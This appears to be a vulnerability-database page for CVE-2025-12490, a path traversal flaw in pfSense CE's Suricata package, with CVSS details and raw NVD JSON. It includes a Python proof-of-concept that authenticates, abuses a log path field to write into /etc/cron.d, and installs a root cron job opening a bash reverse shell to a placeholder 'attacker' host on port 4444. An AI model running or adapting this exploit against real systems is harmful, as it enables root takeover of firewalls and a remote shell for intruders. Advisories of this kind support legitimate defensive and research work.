Security Vulnerability Report
中文
CVE-2025-12490 CVSS 8.8 HIGH

CVE-2025-12490

Published: 2025-11-06 20:15:47
Last Modified: 2026-04-15 00:35:42

Description

Netgate pfSense CE Suricata Path Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to create arbitrary files on affected installations of Netgate pfSense. Authentication is required to exploit this vulnerability. The specific flaw exists within the Suricata package. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to create files in the context of root. Was ZDI-CAN-28085.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Netgate pfSense CE < 2.7.2 (with Suricata package)
Netgate pfSense CE < 24.03 (with Suricata package)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12490 PoC - pfSense Suricata Path Traversal RCE # Note: Requires low-privilege authentication import requests import sys from urllib.parse import quote TARGET = "https://target-pfsense.local:443" USERNAME = "lowpriv_user" PASSWORD = "password123" # Authenticate and get session session = requests.Session() login_url = f"{TARGET}/index.php" auth_data = { "usernamefld": USERNAME, "passwordfwd": PASSWORD, "login": "Login" } response = session.post(login_url, data=auth_data, verify=False) if "csrf_token" not in response.text: print("[-] Authentication failed") sys.exit(1) print("[+] Authenticated successfully") # Extract CSRF token import re csrf_match = re.search(r'name=__csrf_magic[^"]*"[^"]*value="([^"]+)"', response.text) csrf_token = csrf_match.group(1) if csrf_match else "" # Path Traversal payload to write to cron.d # Writing to /etc/cron.d/ for root execution malicious_path = "../../../etc/cron.d/malicious" content = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'\n" # Send malicious request to Suricata package exploit_url = f"{TARGET}/suricata/settings.php" exploit_data = { "__csrf_magic": csrf_token, "log_file_path": malicious_path, "log_content": content, "save": "Save" } response = session.post(exploit_url, data=exploit_data, verify=False) if response.status_code == 200: print("[+] Path traversal exploit sent") print(f"[+] Payload: {malicious_path}") else: print("[-] Exploit failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12490", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:46.643", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netgate pfSense CE Suricata Path Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to create arbitrary files on affected installations of Netgate pfSense. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the Suricata package. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to create files in the context of root. Was ZDI-CAN-28085."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/pfsense/FreeBSD-ports/commit/36b2303dfca35a1183d76f26bcc6ce26d4ea682d", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-979/", "source": "[email protected]"}]}}